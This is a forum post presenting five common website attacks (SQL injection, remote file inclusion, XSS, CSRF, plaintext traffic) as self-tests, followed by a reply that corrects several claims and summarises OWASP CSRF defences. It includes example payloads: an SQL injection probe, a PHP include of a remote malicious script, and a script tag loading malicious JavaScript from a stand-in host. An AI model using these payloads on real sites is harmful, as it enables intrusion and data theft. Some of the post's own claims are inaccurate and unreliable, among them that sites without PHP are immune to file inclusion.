5 Ways to Hack a Website
There are many ways that can make your website to get hacked but here I am going to discuss the most common methods used.
**
- INJECTION ATTACKS**
I will start with injection exploits because most IT professionals, even though they have cursory basic understanding of the dangers, leave too many sites open to the vulnerability, according to the Open Web Applications Security Project (OWASP). Injection is passing malicious user-supplied data to an interpreter. The most common form is SQL Injection, where the hacker passes a SQL command to your database. Are you at risk? Let’s find out.
Find a page on your application that accepts user-supplied information to access a database:
A login form, signup form, or “forgot password†form is a good start. A dynamic page that uses URL variables such as ID (product information pages are good for this). Knowing that the database command takes the user-supplied information into a WHERE clause, try to finish the command with SQL that will throw an error. So on our login form, perhaps we want to try putting this into the username: username’ or fake_column IS NULL. If you are greeted with a database error message page, success! You’ve hacked your own site.
You can follow a step by step tutorial on how to hack a website through SQL injection here.
The Risk: Our hack above seems pretty harmless, but it just finds the place in your application susceptible to malicious code injection. Once a hacker knows they have an unprotected line to your database, the possibilities are endless: vandalism, data theft, or even total system compromise. ** 2. REMOTE FILE INCLUSIONS**
If your site doesn’t use any PHP, then good news: you’re safe of this sort of attack. But according to the SANS Institute, PHP is the most popular web application framework. When used properly, PHP can be a very powerful and useful tool for a number of different applications. Perhaps because of its popularity, it’s also an enticing target for hackers to find exploits. The PHP function allow_url_fopen is a favorite for hackers not only because it allows them to run their scripts on your site, but also because it is enabled by default.
Are you at risk? Let’s figure it out.
Find a PHP script that uses the include() function. If you have a path name in the include, change it to the absolute URL equivalent. If the file still works after this change, success! You’ve just hacked your own site.
The Risk: Okay, the hacker might need to do a little more legwork in this example, but it severely increases the surface area for attack. All a hacker needs to do is find one file to manipulate and add the line:include(‘http://www.example.com/malicious_code.php’) and you are compromised. Compromise might include password stealing, remote root kit installation, and in some cases complete system compromise.
3. CROSS SITE SCRIPTING (XSS)
Cross Site Scripting most commonly known as XSS occurs when a website takes malicious user input and, without question, posts the input to their page. The most common reason for a web application to do this is capturing user feedback: product reviews, blog comments, etc. As today’s Internet user can open discussions and interact with more websites.
There are two types of XSS attack.
Persistent Attack (This is the attack that remains in the database, which you can access anytime later.) Non-persistent Attack (This is a one time attack which gets over once you close the application.) So are you at risk? Let’s find out.
Search your application for a page that takes user input and outputs it directly to a webpage. Common examples:
- Forums
- Comments
- Reviews
markup<script src=â€http://www.example.com/malicious.jsâ€></script>
Now load the page where that post is outputted. If the script runs, it means it’s vulnerable to XSS and easily can be hacked.
You can follow a detailed complete guide to XSS cross site scripting here.
The Risk: The risk here is both for you and for your visitors. First, this opens your visitors to worms infected through the linked malicious code. Second, your site can be defaced with code that manipulates how your page displays. Third, your hijacked site can be flagged by Google and other search engines as a malicious site, and it could take you months to regain your page rank status. Lastly, it opens the next vulnerability: Cross Site Request Forgeries (CSRF).
4. CROSS SITE REQUEST FORGERIES (CSRF)
In a CSRF attack, a hacker uses a cross-site script to hijack a logged-in user’s credentials. It’s almost similar to the XSS. If you are at risk for XSS, then you might be at risk for a CSRF attack.
Let’s check it out whether your website is at risk or safe.
Does your application rely on credentials, like session cookies, to grant permissions to users on your site? If you don’t know offhand, try taking a look at the cookies your browser is storing when you login to your application. Even easier, if your site has a “remember me†feature for logging in, and you know from above you are vulnerable for XSS attacks, then success! You’ve just hacked your own site.
The Risk: The most common use of CSRF is to propagate the virus. The Samy MySpace Worm is a good example. Most security-aware users don’t trust random messages from profiles that look “spammy†and therefore don’t open themselves to catching an XSS worm. However, if that user has a friend who has been compromised, a CSRF attack can send a message as the trusted friend with the infected message, tricking the user to become infected. There are additional risks if the infected user has “moderator†or “admin†privileges to the site because the hacker automatically gains those permissions, which could end with entire site compromise.
5. INSECURE COMMUNICATIONS
Perhaps one of the oldest tricks in the book, site operators and visitors often forget that everything transmitted across an insecure protocol – including FTP and HTTP – is plaintext, meaning that usernames, passwords, private messages, or even credit card information is ripe for the taking for a hacker with the proper tools. A “man-in-the-middle†attack occurs when a malicious user “sniffs†the packets sent between source and destination.
Are you at risk? Let’s find out.
Navigate to a page on your site where you fill out a form, or when user information is displayed to the site visitor. Is this happening through HTTPS? (Your browser should indicate a lock icon or a green location bar). If not, that information can be intercepted. Don’t forget FTP. Are your login credentials for an unsecured FTP port the same as for your database or other secured systems? Do you upload or download sensitive files through unsecured FTP? Success! You’ve just hacked your own site.
The Risk: This depends on what information a hacker is able to recover. The most basic security breach could be a simple invasion of privacy, but could also result in identity theft, leaking of confidential documents, or the compromise of admin passwords leading to full site compromise.
If you want to hack a wordpress website, you can follow this step by step tutorial on how to hack a website with SQLMap.
Hey! Thanks a bunch for writing this up, there's definitely a lot of good information here. Unfortunately, there's also a bunch of… well… misinformation here as well, and I'd like to try and clear some of that up before it becomes more wide-spread. Here we go! Also, as a preface, my word isn't law. If anyone disagrees with what I've said please let me know and we can work out a solution.
1. INJECTION ATTACKS username’ or fake_column IS NULL. If you are greeted with a database error message page, success! You’ve hacked your own site. This may be (somewhat) true, but it's important to note the opposite does not necessarily follow suit. That is, if there's not an error, then you could still very well be vulnerable. For instance, imagine a still vulnerable service that merely strips the term "NULL" and replaces it with something benign that doesn't hurt the DB. Imagine further a… professional(?) who merely squashes error messages in a try/catch because s/he's tired of seeing them. My point: an error will tell you something is amiss, but the lack of one means next to nothing. You'd be better off auditing your own code to ensure you don't pass unsanitized, untrusted, user input to anything important.
2. REMOTE FILE INCLUSIONS If your site doesn’t use any PHP, then good news: you’re safe of this sort of attack. Falsefalsefalsefalsefalsefalsefalse! This is strictly not true. Remote File Inclusion (RFI) can happen any time there's the potential to import someone else's untrusted code into your own. PHP is perhaps most notorious for this, since it has historically made it very easy to include random other files with just a URI, but many/most web languages also share this flaw. Javascript requires importing myriad outside libraries in order to function in any (allegedly) useful way. See here for an example of what happens when you include code from just anywhere on the internet. And this isn't just a web programming issue, either. I'm sure you've all heard of DLL injection, which, while not strictly the same thing, should fall under the same general umbrella. Also worth noting is that this is similar to your initial class of attack in that it's still a program bringing in untrusted user input. This is a theme.
When used properly, PHP can be a very powerful and useful tool for a number of different applications. Perhaps because of its popularity, it’s also an enticing target for hackers to find exploits. This is true. However. I would like to be clear that PHP is a dying language. Powerful, yes, but just lousy (and I mean absolutely, completely, totally riddled) with silly design plans and awful latent garbage bugs. It's an enticing target for hackers to find exploits not only because of its popularity, but also because of how horrible it is. And it truly is horrible.
Find a PHP script that uses the include() function. If you have a path name in the include, change it to the absolute URL equivalent. If the file still works after this change, success! You’ve just hacked your own site.
The Risk: Okay, the hacker might need to do a little more legwork in this example, but it severely increases the surface area for attack. All a hacker needs to do is find one file to manipulate and add the line:include(‘http://www.example.com/malicious_code.php’) and you are compromised. Compromise might include password stealing, remote root kit installation, and in some cases complete system compromise. This is true. But not the whole truth. As you can see here, RFI is possible from a remote attacker. They don't need any access to your source in order to inject their code into your application.
4. CROSS SITE REQUEST FORGERIES (CSRF) The Risk: The most common use of CSRF is to propagate the virus. The Samy MySpace Worm is a good example. Most security-aware users don’t trust random messages from profiles that look “spammy†and therefore don’t open themselves to catching an XSS worm. However, if that user has a friend who has been compromised, a CSRF attack can send a message as the trusted friend with the infected message, tricking the user to become infected. There are additional risks if the infected user has “moderator†or “admin†privileges to the site because the hacker automatically gains those permissions, which could end with entire site compromise. Please note that, if a site is vulnerable to XSS, an attack could be much more sneaky than a private message from an unidentified account. Also worth noting that most modern web applications nowadays have a special token
cookieassociated with requests in order to protect against CSRF.
Finally, and again, thank you for taking the time to write all this up, I suggest avoiding tools like SQLMap. They're loud, crass, coarse, and teach you next to nothing. If anyone is interested in the fields that soldi3r outlined above, I strongly suggest fully understanding how the underlying technologies work.
If there are any other questions, please feel free to ask. Thanks guys.
- Futility
gobzi wrote: I think you mean token rather than cookie. Having a CSRF token as a cookie defeats the whole purpose of it ;) Haha good catch. I was not precise. Fix'd above and also went out and did a bit of reading to catch back up. OWASP is, of course, good as usual. In general it suggests:
Protecting against CSRF should be a two-fold effort:
- Verify same-origin with your headers. These can be (mostly) easily faked, but there are a few that are on a forbidden header list that can't be altered programmatically (as enforced by a well-behaving, non-compromised browser). While this is generally good, it's always better to practice defense-in-depth and, as such, it's suggested to include…
- … a CSRF token with any submitted forms. Note that submitting a token via a GET request effectively "leaks" it with varying degrees of "direness" (not that every type of leak implies the adversary immediately can launch a CSRF attack). It is suggested to follow RFC 2616 and ensure that only POST requests can cause server-side actions that have state-changing affects.
Again, this was a brief restatement of the amazing work the OWASP folks do with regard to webapp security. I strongly suggest clicking that first link and reading as much as you're willing to stomach. Thanks for correcting me!
- Futility